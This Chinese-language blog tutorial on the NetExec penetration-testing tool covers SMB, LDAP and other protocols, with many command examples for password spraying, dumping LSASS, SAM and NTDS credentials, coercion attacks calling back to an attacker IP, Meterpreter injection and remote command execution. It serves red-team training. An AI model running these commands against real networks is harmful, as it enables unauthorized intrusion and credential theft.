×

NetExec!新一代内网/域渗透神器,万字教程

hqy hqy 发表于2024-11-07 08:53:45 浏览391 评论0

抢沙发发表评论

NetExec!新一代内网/域渗透神器,万字教程


工具介绍

NetExec (nxc) 是一款功能强大的自动化网络安全评估与漏洞测试工具,是 CrackMapExec-已停止维护 (CME) 的现代继任者,现已被渗透测试人员和红队成员广泛使用,可被用于多种协议下的渗透测试中,目前支持的协议如下。

smb
ssh
ldap
ftp
wmi
winrm
rdp
vnc
mssql
nfs

注意:Netexec 并非所有协议都支持相同的功能,如果其中一个功能无法使用,哪么请务必检查每个协议的选项。

部署安装

Kali ?

apt update
apt install netexec

BlackArch ?️

pacman -Syu netexec

ParrotSec ?

apt update
apt install netexec

pipx安装(推荐使用pipx而不是使用pip)

sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
图片

安装完成后可以使用下面两个命令去执行netexec

NetExec
nxcdb

如果出现

图片

先重新刷新环境就行了

source ~/.bashrc
图片

Windows?

在Windows上建议使用pipx安装或者直接下载完整编译后的二进制文件,避免因为环境要求过于复杂导致无法正常使用

pip install pipx
python -m pipx ensurepath
python -m pipx install git+https://github.com/Pennyw0rth/NetExec

或者下载二进制文件

Releases · Pennyw0rth/NetExec

使用方法

命令格式为

nxc <protocol> <protocol options>

help命令

用法: nxc [-h][-t THREADS][--timeout TIMEOUT][--jitter INTERVAL][--no-progress][--verbose][--debug][--version]{smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql}...

选项:
-h,--help            显示此帮助信息并退出
-t THREADS            设置要使用的并发线程数(默认:100
--timeout TIMEOUT     每个线程的最大超时时间(单位:秒,默认:无)
--jitter INTERVAL     设置每个连接之间的随机延迟(默认:无)
--no-progress         在扫描期间不显示进度条
--verbose             启用详细输出
--debug               启用调试级别信息
--version             显示 nxc 版本

协议:
可用协议

{smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql,nfs}
    smb                 使用 SMB 进行操作
    ssh                 使用 SSH 进行操作
    ldap                使用 LDAP 进行操作
    ftp                 使用 FTP 进行操作
    wmi                 使用 WMI 进行操作
    winrm               使用 WINRM 进行操作
    rdp                 使用 RDP 进行操作
    vnc                 使用 VNC 进行操作
    mssql               使用 MSSQL 进行操作
    nfs                 使用 NFS 进行操作

目标格式

netexec支持的输入的目标格式如下

netexec <protocol> poudlard.wizard
netexec <protocol> 192.168.1.0 192.168.0.2
netexec <protocol> 192.168.1.0/24
netexec <protocol> 192.168.1.0-28 10.0.0.1-67
netexec <protocol> ~/targets.txt

凭证

netexec中凭证格式大致如下

// netexec 协议 目标 -u 用户名 -p 密码
netexec <protocol> <target(s)> -u username -p password 

netexec和cme一样,在完全确认后会在输出中添加_**<font style="color:#DF2A3F;">Pwn3d!</font>**_的标识,下面是netexec支持的协议何时会出现Pwn3d!标识的情况:

ProtocolSee Pwn3d! in output
FTPNo check
SSHroot (otherwise specific message) ✅
WINRMCode execution at least ?
LDAPPath to domain admin ?
SMBMost likely local admin ✅
RDPCode execution at least ?
VNCCode execution at least ?
WMIMost likely local admin ✅

PS: 在使用包含特殊符号(尤其是感叹号!)的用户名或密码时,请将它们用单引号括起来,以便让shell 将其解释为字符串。

示例

netexec <protocol> <target(s)> -u username -p 'October2022!'

由于 Python 的参数解析库中的一个错误,以破折号 (-) 开头的凭据会引发“<font style="color:rgba(55,202,168,1);">expected at least one argument</font> 至少需要一个参数”的错误信息。为了解决这个问题,可以使用“长格式”参数指定凭据(注意使用 = 符号)

示例

netexec <protocol> <target(s)> -u='-username' -p='-October2022'

从数据库使用凭据集

通过使用 -id 标志指定凭据 ID(或多个凭据 ID),nxc 将自动从后端数据库中提取该凭据并用于身份验证(节省了大量输入工作)

netexec <protocol> <target(s)> -id <cred ID(s)>

域环境

在域环境下可以将用户和密码凭证保存为文件

netexec <protocol> <target(s)> -u FILE -p password

其中用户名文件格式大致如下

DOMAIN1\user
DOMAIN2\user

暴力破解与密码喷洒

所有协议都支持暴力破解和密码喷洒 , 通过指定一个文件或多个值,nxc 将自动对所有目标使用指定协议进行暴力破解登录

// netexec 协议 目标 -u 用户名1 -p 密码1 密码2
netexec <protocol> <target(s)> -u username1 -p password1 password2
// netexec 协议 目标 -u 用户名1 用户名2 -p 密码1
netexec <protocol> <target(s)> -u username1 username2 -p password1
// netexec 协议 目标 -u 用户名字典 -p 密码凭证字典
netexec <protocol> <target(s)> -~/file_containing_usernames -p ~/file_containing_passwords
// netexec 协议 目标 -u 用户名字典 -p 密码ntlm hash凭证字典(hash传递)
netexec <protocol> <target(s)> -~/file_containing_usernames -H ~/file_containing_ntlm_hashes

使用字典但是不想进行爆破,而是一对一的验证的话可以使用下面的命令,即用户名1对应密码1

netexec <protocol> <target(s)> -~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce

netexec <protocol> <target(s)> -~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce

上面的参数执行时格式如下

user1 -> pass1
user2 -> pass2

默认情况下,nxc 在找到成功登录后会退出。使用 <font style="color:rgba(55,202,168,1);">--continue-on-success</font> 标志可以在找到有效密码后继续进行密码喷洒。这对于针对大型用户列表喷洒单个密码非常有用。需要注意的是,<font style="color:rgba(55,202,168,1);">--continue-on-success</font> 标志与命令执行不兼容。

Kerberos

nxc 支持 Kerberos 身份验证,有两种选项:直接使用密码/哈希,或使用票证,并通过 KRB5CCNAME 环境变量指定票证。

PS: 使用 -k 或 --use-kcache 选项时,需要指定与 Kerberos 票证中的主机名(完全限定域名 FQDN)相同的主机名。

示例

$ sudo nxc smb zoro.gold.local --u bonclay -Ocotober2022
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\bonclay

或者使用--use-kcache

export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache 

$ nxc smb zoro.gold.local--use-kcache
SMB         zoro.gold.local445    ZORO             [*]Windows10.0Build14393(name:ZORO)(domain:gold.local)(signing:False)(SMBv1:False)
SMB         zoro.gold.local445    ZORO             [+] gold.local\administrator (Pwn3d!)

$ sudo nxc smb zoro.gold.local--use-kcache -x whoami
SMB         zoro.gold.local445    ZORO             [*]Windows10.0Build14393(name:ZORO)(domain:gold.local)(signing:False)(SMBv1:False)
SMB         zoro.gold.local445    ZORO             [+] gold.local\administrator (Pwn3d!)
SMB         zoro.gold.local445    ZORO             [+]Executed command 
SMB         zoro.gold.local445    ZORO             gold\administrator

export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache

$ sudo nxc smb zoro.gold.local--use-kcache -x whoami
SMB         zoro.gold.local445    ZORO             [*]Windows10.0Build14393(name:ZORO)(domain:gold.local)(signing:False)(SMBv1:False)
SMB         zoro.gold.local445    ZORO             [+] gold.local\bonclay

Modules详解

查看协议可使用的模块

nxc <protocol> -L

比如查看smb支持的模块

nxc smb -L
图片

如何使用协议支持的模块

nxc <protocol> <target(s)> -M <module name>

示例

nxc smb <target(s)> -u Administrator -p 'October2022' -M lsassy

查看协议支持模块的可选命令参数

nxc <protocol> -M <module name> --options
图片

既然知道了模块是有参数的,哪么我们可以使用-o参数来设置参数(类似于msfvenom )

nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M lsassy -o COMMAND=xxxxxxxxug'

我们也可以使用-M参数同时运行多个模块

nxc -M module1 -M module2 -M module3

示例

nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M spooler -M printnightmare -M shadowcoerce -M petitpotam

smb支持的模块

低权限模块
[] add-computer 添加或删除域计算机
[] coerce_plus 检测目标是否易受任何coerce漏洞影响。设置监听器IP进行强制操作。
[] dfscoerce [已移除]检测域控制器是否易受DFSCoerce漏洞影响,感谢@filip_dragovic/@Wh04m1001@topotam
[] drop-sc 在每个可写共享上放置一个searchConnector-ms文件
[] enum_av 通过LsarLookupNames收集远程主机上安装的所有终端防护解决方案的信息(无需权限)
[] enum_ca 匿名使用RPC端点搜寻ADCS证书颁发机构
[] gpp_autologin 在域控制器中搜索registry.xml以查找自动登录信息,并返回用户名和密码。
[] gpp_password 检索通过组策略首选项推送的帐户的明文密码和其他信息。
[] ioxidresolver 帮助您识别具有其他活动接口的主机
[] ms17-010 MS17-010-EternalBlue-未在非实验室环境中测试
[] nopac 检测域控制器是否易受CVE-2021-42278CVE-2021-42287漏洞影响,以便从标准域用户冒充域管理员
[] petitpotam [已移除]检测域控制器是否易受PetitPotam漏洞影响,感谢@topotam
[] printerbug [已移除]检测目标是否易受PrinterBug漏洞影响。设置监听器IP进行强制操作。
[] printnightmare 检测主机是否易受printnightmare漏洞影响
[] scuffy 创建并转储一个包含指向声明SMB服务器的UNC路径的图标属性的任意.scf文件,针对所有可写共享
[] shadowcoerce [已移除]检测目标是否易受ShadowCoerce漏洞影响,感谢@Shutdown@topotam
[] slinky 在所有具有写权限的共享中创建包含指向指定服务器(默认SMB)的URI的图标属性的Windows快捷方式
[] smbghost 检测主机的SMB和压缩功能,这是SMBGhost漏洞(CVE-2020-0796)的标识
[] spider_plus 递归列出文件并将JSON共享文件元数据保存到'OUTPUT_FOLDER'。有关更精细的配置,请参阅模块选项。
[] spooler 检测打印后台处理程序是否已启用
[] webdav 检查WebClient服务是否在目标上运行
[] zerologon 检测域控制器是否易受ZerologonCVE-2020-1472)漏洞影响

高权限模块(需要管理员权限)
[] bitlocker 枚举目标上的BitLocker状态,检查其是否已启用或禁用。
[] empire_exec 使用EmpireRESTful API为指定监听器生成启动器并执行它
[] enum_dns 使用WMIAD DNS服务器转储DNS
[] firefox Firefox中转储凭据
[] get_netconnections 使用WMI查询网络连接。
[] handlekatz 使用handlekatz64获取lsass转储并使用pypykatz解析结果
[] hash_spider 从给定哈希中递归转储lsass,使用BH查找本地管理员
[] hyperv-host 在虚拟机上执行注册表查询以查找其HyperV主机
[] iis 使用appcmd.exe检查IIS应用程序池配置文件中的凭据
[] impersonate 列出并冒充令牌,以作为本地登录用户运行命令
[] install_elevated 检查AlwaysInstallElevated
[] keepass_discover 搜索与KeePass相关的文件和进程。
[] keepass_trigger 设置恶意KeePass触发器以明文导出数据库。
[] lsassy 转储lsass并远程使用lsassy解析结果
[] masky 通过ADCSKDC远程转储域用户凭据
[] met_inject 下载Meterpreter加载程序并将其注入内存
[] mobaxterm 通过RemoteRegistryNTUSER.dat导出远程转储MobaXterm凭据
[] mremoteng AppDataDesktop/Documents文件夹中转储mRemoteNG密码(在这些文件夹中递归挖掘)
[] msol Azure AD-Connect服务器上的localDB中转储MSOL明文密码
[] nanodump 使用nanodump获取lsass转储并使用pypykatz解析结果
[] ntdsutil 使用ntdsutil转储NTDS
[] ntlmv1 检测目标上的lmcompatibilitylevel是否设置为低于3(意味着启用了ntlmv1
[] pi 通过进程注入作为登录用户运行命令
[] powershell_history 提取所有用户的PowerShell历史记录,并查找敏感命令。
[] procdump 使用procdump64获取lsass转储并使用pypykatz解析结果
[] putty 查询注册表中保存了ssh私钥的用户。如果找到,则下载私钥。
[] rdcman 远程转储远程桌面连接管理器(sysinternals)凭据
[] rdp 启用/禁用RDP
[] reg-query 在计算机上执行注册表查询
[] reg-winlogon 收集存储在注册表中的自动登录凭据
[] runasppl 检查是否设置了RunAsPPL注册表值
[] schtask_as 作为登录用户远程执行计划任务
[] security-questions 获取计算机上用户的安全问题和答案
[] teams_localdb 从本地MicrosoftTeams数据库中检索明文ssoauthcookie,如果Teams打开,则终止所有Teams进程
[] test_connection Ping主机
[] uac 检查UAC状态
[] veeam 从本地Veeam SQL数据库中提取凭据
[] vnc VNC服务器和客户端配置中掠夺密码
[] wcc 检查Windows机器上的各种安全配置项
[] wdigest 创建/删除'UseLogonCredential'注册表键,以在Windows>=8.1上启用WDigest凭据转储
[] web_delivery 使用exploit/multi/script/web_delivery模块启动Metasploit有效负载
[] wifi 获取所有无线接口的密钥
[] winscp 在注册表和默认位置中查找WinSCP.ini文件,并尝试提取凭据。

ssh支持的模块

图片

ldap支持的模块

低权限模块
[] adcs ActiveDirectory中查找PKI注册服务和证书模板名称
[] daclread 读取并备份对象的自主访问控制列表(DACL)。请注意,此模块无法递归读取DACL,有关详细信息请参见选项。
[] enum_trusts 提取所有信任关系、信任方向和信任传递性
[] find-computer 通过提供的文本在域中查找计算机
[]get-desc-users 获取用户描述。可能包含密码
[]get-network 查询域中所有DNS记录及其对应的IP地址
[]get-unixUserPassword LDAP中的所有用户获取unixUserPassword属性
[]get-userPassword LDAP中的所有用户获取userPassword属性
[]group-mem 检索组内的所有成员
[] groupmembership 查询用户所属的组
[] laps 检索账户具有读取权限的所有LAPS密码
[] ldap-checker 检查是否要求并/或强制LDAP签名和绑定
[] maq 检索域级别的MachineAccountQuota属性
[] obsolete LDAP中提取所有已过时的操作系统
[] pre2k 识别预先创建的计算机账户,将结果保存到文件,并为每个账户获取TGT
[] pso 获取精细粒度密码策略/PSO的模块
[] sccm ActiveDirectory中查找SCCM基础设施
[] subnets 检索ActiveDirectory的不同站点和子网
[] user-desc 获取存储在ActiveDirectory中的用户描述
[] whoami 获取所提供用户的详细信息

高权限模块(需要管理员权限)

ftp支持的模块

图片

wmi支持的模块

低权限模块
[] ioxidresolver 此模块帮助您识别具有其他活动接口的主机
[] spooler 检测打印后台处理程序是否已启用
[] zerologon 模块用于检查域控制器是否易受Zerologon(又称CVE-2020-1472)攻击

高权限模块(需要管理员权限)
[] bitlocker 枚举目标上的BitLocker状态,判断其是否已启用或禁用
[] enum_dns 使用WMIAD DNS服务器上导出DNS信息
[] get_netconnections 使用WMI查询网络连接
[] rdp 启用/禁用远程桌面协议(RDP

winrm支持的模块

图片

rdp支持的模块

图片

vnc支持的模块

图片

mssql支持的模块

低权限模块
[] mssql_priv 枚举并利用MSSQL的权限

高权限模块(需要管理员权限)
[] empire_exec 使用EmpireRESTful API为指定的监听器生成启动器并执行它
[] met_inject 下载Meterpreter的加载器并将其注入内存
[] nanodump 使用nanodump获取lsass转储,并使用pypykatz解析结果
[] test_connection 对主机进行ping测试
[] web_delivery 使用exploit/multi/script/web_delivery模块启动Metasploit Payload

nfs支持的模块

图片

自定义DNS

可以设置多个参数选项来配置使用的 DNS 服务器。除了强制 NetExec 使用 IPv6,还可以手动设置 DNS 服务器、设置 DNS 超时或配置使用 TCP 进行 DNS 解析 :

//手动设置 DNS 服务器
netexec <protocol><target(s)>-u username -p password --dns-server <dns-server ip>
//设置 DNS 超时
netexec <protocol><target(s)>-u username -p password --dns-timeout <seconds>
//使用 TCP 进行 DNS 解析
netexec <protocol><target(s)>-u username -p password --dns-tcp    # Use TCP for DNS
//使用ipv6
netexec <protocol><target(s)>-u username -p password -6           # Enforce ipv6

Netexec 数据库的通用用法

nxc 会自动将所有使用过的或提取的凭据(以及其他信息)存储在其数据库中,该数据库在首次运行时设置。

并且每个协议都有自己的数据库,这使得管理更加合理,并且提供了很好的功能。此外,还有工作区(类似于 Metasploit),用于区分不同的渗透测试或项目。

所有工作区及其相关数据库存储在 ~/.nxc/workspaces 目录中。

如何与数据库交互

nxc 附带一个名为 nxcdb 的二级命令行脚本,用于简化与后端数据库的交互。输入命令 nxcdb 将进入一个命令行界面

#~ nxcdb
nxcdb (default) >
图片

随时输入 help 可以查看可用命令的列表

nxcdb (default)(smb) > help

Documented commands (type help <topic>):
========================================
clear_database  creds  dpapi  exit  export  groups  help  hosts  shares  wcc

Undocumented commands:
======================
back  import

工作区

默认的工作区名称为“default“。一旦选择了一个工作区,你在 nxc 中执行的所有操作都会存储在该工作区中。

要创建一个工作区,可以使用以下命令

nxcdb (default) > workspace create test
[*] Creating workspace 'test'
<-- CUT -->
nxcdb (test) >

如何切换工作区,使用workspace 工作区名即可切换

nxcdb (test) > workspace default
nxcdb (default) >

查看工作区列表

nxcdb (test) > workspace list
[*] Enumerating Workspaces
default
==> test

前面说过,每种协议有单独的数据库,使用<font style="color:rgba(55,202,168,1);">proto <protocol></font>命令可以切换到对应的数据库

示例

nxcdb (test) > proto smb
nxcdb (test)(smb) >

这里需要注意的是每种协议的数据库指令也不是完全相同的,所以执行命令时最好先查看帮助

nxcdb (test)(smb) > help

Documented commands (type help <topic>):
========================================
clear_database  creds  dpapi  exit  export  groups  help  hosts  shares  wcc

Undocumented commands:
======================
back  import

nxcdb (test)(smb) >

对于如何在同一个工作区中切换不同协议的数据库

nxcdb (test)(smb) > back
nxcdb (test) > proto http
nxcdb (test)(http) >

当然也可以从数据库导出凭证

nxcdb (test)(smb) > export shares detailed file.csv

查看导出帮助

nxcdb (default)(smb) > help export

export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename]
Exports information to a specified file

* hosts has an additional third option from simple and detailed: signing - this simply writes a list of ips of
hosts where signing is enabled
* keys' third option is either "all" or an id of a key to export
    export keys [all|id] [filename]

日志存储

netexec可以像fscan一样将命令的输出结果写入的文件,方便后续查看,共有两种方法记录日志:

1.配置nxc.conf的参数log_mode:log_mode = True,配置完成后将像fscan一样自动记录命令执行记录和结果输出记录(强烈推荐,方便甩锅写报告)

2.在执行命令时添加--log参数,记录当前命令的执行记录

SMB协议详解

参数

位置参数:

target:目标IP地址、范围、CIDR、主机名、FQDN、包含目标列表的文件、NMap XML或.Nessus文件。
选项:

-h,--help:显示此帮助信息并退出。
-H HASH [HASH ...],--hash HASH [HASH ...]:NTLM哈希值或包含NTLM哈希值的文件。
--delegate DELEGATE:使用S4U2Self + S4U2Proxy进行用户模拟。
--self:仅执行S4U2Self,不执行S4U2Proxy(与delegate一起使用)。
-d DOMAIN,--domain DOMAIN:要认证到的域。
--local-auth:对每个目标进行本地认证。
--port PORTSMB端口(默认:445)。
--share SHARE:指定共享(默认:C$)。
--smb-server-port SMB_SERVER_PORT:指定SMB服务器端口(默认:445)。
--gen-relay-list OUTPUT_FILE:将不需要SMB签名的所有主机输出到指定文件。
--smb-timeout SMB_TIMEOUTSMB连接超时(默认:2)。
--laps [LAPS]:LAPS认证。
通用选项:

适用于nxc跨协议的通用选项。
--version:显示nxc版本。
-t THREADS,--threads THREADS:设置要使用的并发线程数(默认:256)。
--timeout TIMEOUT:每个线程的最大超时时间(秒)。
--jitter INTERVAL:在每个认证之间设置随机延迟。
输出选项:

用于设置详细级别和控制输出的选项。
--verbose:启用详细输出。
--debug:启用调试级别信息。
--no-progress:在扫描期间不显示进度条。
--log LOG:将结果导出到自定义文件。
DNS选项:

-6:强制启用IPv6
--dns-server DNS_SERVER:指定DNS服务器(默认:使用hosts文件和系统DNS)。
--dns-tcp:使用TCP而不是UDP进行DNS查询。
--dns-timeout DNS_TIMEOUTDNS查询超时时间(秒)(默认:3)。
认证选项:

用于认证的选项。
-u USERNAME [USERNAME ...],--username USERNAME [USERNAME ...]:用户名或包含用户名的文件。
-p PASSWORD [PASSWORD ...],--password PASSWORD [PASSWORD ...]:密码或包含密码的文件。
-id CRED_ID [CRED_ID ...]:用于认证的数据库凭证ID
--ignore-pw-decoding:解码密码文件时忽略非UTF-8字符。
--no-bruteforce:当使用文件指定用户名和密码时,不进行喷洒攻击(user1对应password1user2对应password2)。
--continue-on-success:即使成功后也继续尝试认证。
--gfail-limit LIMIT:全局失败登录尝试的最大次数。
--ufail-limit LIMIT:每个用户名的最大失败登录尝试次数。
--fail-limit LIMIT:每个主机的最大失败登录尝试次数。
Kerberos认证选项:

-k,--kerberos:使用Kerberos认证。
--use-kcache:从ccache文件(KRB5CCNAME)使用Kerberos认证。
--aesKey AESKEY [AESKEY ...]:用于Kerberos认证的AES密钥(128256位)。
--kdcHost KDCHOST:域控制器的FQDN。如果省略,将使用目标参数中指定的域部分(FQDN)。
服务器选项:

用于nxc服务器的选项。
--server {http,https}:选择使用的服务器(默认:https)。
--server-host HOST:将服务器绑定到的IP地址(默认:0.0.0.0)。
--server-port PORT:在指定端口上启动服务器。
--connectback-host CHOST:远程系统回连的IP地址。
模块选项:

用于nxc模块的选项。
-M MODULE,--module MODULE:要使用的模块。
-o MODULE_OPTION [MODULE_OPTION ...]:模块选项。
-L,--list-modules:列出可用模块。
--options:显示模块选项。
凭证收集选项:

用于收集凭证的选项。
--sam:从目标系统转储SAM哈希。
--lsa:从目标系统转储LSA秘密。
--ntds [{drsuapi,vss}]:使用指定方法从目标域控制器转储NTDS.dit
--dpapi [{nosystem,cookies}...]:从目标系统转储DPAPI秘密,如果添加'cookies'则可以转储cookies,如果添加nosystem则不会转储SYSTEM dpapi
--sccm [{disk,wmi}]:从目标系统转储SCCM秘密。
--mkfile MKFILEDPAPI选项。包含主密钥的文件,格式为{GUID}:SHA1
--pvk PVKDPAPI选项。包含域备份密钥的文件。
--enabled:仅从域控制器转储启用的目标。
--user USERNTDS:从域控制器转储选定的用户。
映射/枚举选项:

用于映射/枚举的选项。
--shares:枚举共享和访问权限。
--interfaces:枚举网络接口。
--no-write-check:跳过共享写入检查(当缺少删除权限时避免留下痕迹)。
--filter-shares FILTER_SHARES [FILTER_SHARES ...]:按访问权限过滤共享,选项为'read''write''read,write'
--sessions:枚举活动会话。
--disks:枚举磁盘。
--loggedon-users-filter LOGGEDON_USERS_FILTER:仅搜索特定用户,支持正则表达式。
--loggedon-users:枚举登录的用户。
--users [USER ...]:枚举域用户,如果指定了用户,则仅查询该用户的信息。
--groups [GROUP]:枚举域组,如果指定了组,则枚举其成员。
--computers [COMPUTER]:枚举计算机用户。
--local-groups [GROUP]:枚举本地组,如果指定了组,则枚举其成员。
--pass-pol:转储密码策略。
--rid-brute [MAX_RID]:通过暴力破解RID来枚举用户。

WMI选项:
用于WMI查询的选项。
--wmi QUERY:执行指定的WMI查询。
--wmi-namespace NAMESPACEWMI命名空间(默认:root\cimv2)。

爬虫选项:
用于爬虫共享的选项。
--spider SHARE:要爬行的共享。
--spider-folder FOLDER:要爬行的文件夹(默认:.)。
--content:启用文件内容搜索。
--exclude-dirs DIR_LIST:从蜘蛛爬行中排除的目录。
--depth DEPTH:蜘蛛爬行的最大递归深度。
--only-files:仅爬行文件。
--pattern PATTERN [PATTERN ...]:在文件夹、文件名和文件内容中搜索的模式。
--regex REGEX [REGEX ...]:在文件夹、文件名和文件内容中搜索的正则表达式。
文件选项:

用于远程文件交互的选项。
--put-file FILE FILE:将本地文件放入远程目标,例如:whoami.txt \Windows\Temp\whoami.txt
--get-file FILE FILE:获取远程文件,例如:\Windows\Temp\whoami.txt whoami.txt
--append-host:将主机名附加到get-file文件名中。
命令执行选项:

用于执行命令的选项。
--exec-method {mmcexec,smbexec,atexec,wmiexec}:执行命令的方法。在MSSQL模式下忽略(默认:wmiexec)。
--dcom-timeout DCOM_TIMEOUTDCOM连接超时(默认:5)。
--get-output-tries GET_OUTPUT_TRIESatexec/smbexec/mmcexec尝试获取结果的次数(默认:10)。
--codec CODEC:设置从目标输出使用的编码(编解码器)。如果检测到错误,请在目标上运行chcp.com,并使用https://docs.python.org/3/library/codecs.html#standard-encodings中的结果映射,然后再次执行并使用--codec和相应的编解码器(默认:utf-8)。
--no-output:不检索命令输出。
-x COMMAND:执行指定的CMD命令。
-X PS_COMMAND:执行指定的PowerShell命令。
PowerShell混淆选项:

用于PowerShell脚本混淆的选项。
--obfs:混淆PowerShell脚本。

漏洞扫描

ZeroLogon漏洞

检测域控制器是否易受Zerologon(CVE-2020-1472)漏洞影响

nxc smb <ip> -u '' -p '' -M zerologon

noPAC漏洞

检测域控制器是否易受CVE-2021-42278和CVE-2021-42287漏洞影响,以便从标准域用户冒充域管理员

PS:使用此模块进行漏洞扫描时需要先提供一个可用的凭证

nxc smb <ip> -u 'user' -p 'pass' -M nopac

PrintNightmare漏洞

检测主机是否易受printnightmare漏洞(打印机漏洞,好用)影响

nxc smb <ip> -u '' -p '' -M printnightmare

SMBGhost漏洞

检测主机的SMB和压缩功能,这是SMBGhost漏洞(CVE-2020-0796)的标识

nxc smb <ip> -u '' -p '' -M smbghost

MS17-010 漏洞

老洞,不比多说

nxc smb <ip> -u '' -p '' -M ms17-010

上面的漏洞模块丰富了netexec的功能

coerce漏洞

在使用coerce_plus模块来检查(如PetitPotam、DFSCoerce、PrinterBug、MSEven和ShadowCoerce等)coerce漏洞时,确实可以通过该模块进行操作。此外,你还可以使用凭据来进一步检查这些漏洞。默认情况下,监听器的IP地址会被设置为localhost,这意味着网络上不会出现相关的流量,这样的设置有助于在进行安全测试时保护隐私和减少不必要的网络活动。

nxc smb <ip> -u '' -p '' -M coerce_plus

如果发现漏洞,可以尝试回连

nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>

在使用coerce_plus模块或类似的安全测试工具时,如果想要一次性运行所有的漏洞利用方法,而不是在RPC(远程过程调用)连接报告成功强制(coercion)后就停止,可以添加<font style="color:rgb(5, 7, 59);">ALWAYS=true</font>选项。

nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true

当然,也可以只检测指定的coerce漏洞类型

nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam

枚举探测

网络主机探测

nxc smb 10.0.0.0/8
nxc smb 172.16.0.0/12
nxc smb 192.168.0.0/16

结果输出示例

SMB         192.168.1.101445    DC2012A          [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012A)(domain:OCEAN)(signing:True)(SMBv1:True)
SMB         192.168.1.102445    DC2012B          [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012B)(domain:EARTH)(signing:True)(SMBv1:True)
SMB         192.168.1.110445    DC2016A          [*]WindowsServer2016StandardEvaluation14393 x64 (name:DC2016A)(domain:OCEAN)(signing:True)(SMBv1:True)
SMB         192.168.1.117445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1)(domain:OCEAN)(signing:False)(SMBv1:True)

空Sessions探测

探测**Null Session**漏洞,也成称为Anonymous session匿名会话漏洞,在内网时比较好用

nxc smb 10.10.10.161-''-''
nxc smb 10.10.10.161-''-''--shares
nxc smb 10.10.10.161-''-''--pass-pol
nxc smb 10.10.10.161-''-''--users
nxc smb 10.10.10.161-''-''--groups

如果检测出改匿名会话漏洞,哪么使用下面的命令尝试利用

smbclient --"" -L \\10.10.10.161
或者
rpcclient --"" -L \\10.10.10.161
rpcclient $> enumdomusers
user:[bonclay] rid:[0x46e]
user:[zoro] rid:[0x46f]

漏洞测试地址

Oooops!

Oooops!

枚举不需要认证的(未授权)smb主机

nxc smb 192.168.1.0/24 --gen-relay-list relay_list.txt

输出示例

SMB         192.168.1.101445    DC2012A          [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012A)(domain:OCEAN)(signing:True)(SMBv1:True)
SMB         192.168.1.102445    DC2012B          [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012B)(domain:EARTH)(signing:True)(SMBv1:True)
SMB         192.168.1.111445    SERVER1          [*]WindowsServer2016StandardEvaluation14393 x64 (name:SERVER1)(domain:PACIFIC)(signing:False)(SMBv1:True)
SMB         192.168.1.117445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1)(domain:OCEAN)(signing:False)(SMBv1:True)
...SNIP...

#~ cat relay_list.txt
192.168.1.111
192.168.1.117

Active Sessions探测

探测远程主机上正在进行的会话

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions

枚举共享的访问权限(实用)

枚举所有共享的访问权限

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

可以通过只读、只写进行区分

#~ nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares --filter-shares READ WRITE

枚举网络接口(路由)

此命令至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.56.11 -u USERNAME -p 'PASSWORDHERE' --interfaces
图片

枚举远程主机的磁盘

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --disks

枚举远程主机上已经登录的用户

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users

枚举远程主机上的域用户

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users

使用RID枚举远程主机上的用户

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute

枚举远程主机上的域用户组

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups

枚举远程主机上的本地用户组

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-group

枚举域用户口令策略

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol

密码喷洒

使用用户名/密码列表进行喷射

通过空格分隔多个用户名或密码

nxc smb 192.168.1.101 -u user1 user2 user3 -Summer18
nxc smb 192.168.1.101 -u user1 -p password1 password2 password3

使用用户名/密码字典进行喷射

PS:这里需要注意对面是否有密码多次错误导致账户锁定的策略

nxc smb 192.168.1.101 -/path/to/users.txt -Summer18
nxc smb 192.168.1.101 -Administrator -/path/to/passwords.txt

默认情况下,nxc 会在找到成功登录后退出。使用 --continue-on-success参数,这样即使在找到有效密码后,它也会继续喷射。对于针对大型用户列表喷洒单个密码很有用。

PS:这与命令执行不兼容

nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success

使用username == password式进行凭证字典喷射

用户名字典和密码字典的内容一行对一行:
user1:pass1

user2:pass2

user3:pass3

nxc smb 192.168.1.101 -u user.txt -p user.txt --no-bruteforce --continue-on-success
nxc smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-success

使用排列组合式进行凭证字典喷射

用户名字典和密码字典的内容进行排列组合然后进行喷射:

user1:pass1

user1:pass2

user2:pass1

user2:pass2

nxc smb 192.168.1.101 -u user.txt -p password.txt

Authentication(身份认证)

认证成功与失败的颜色:

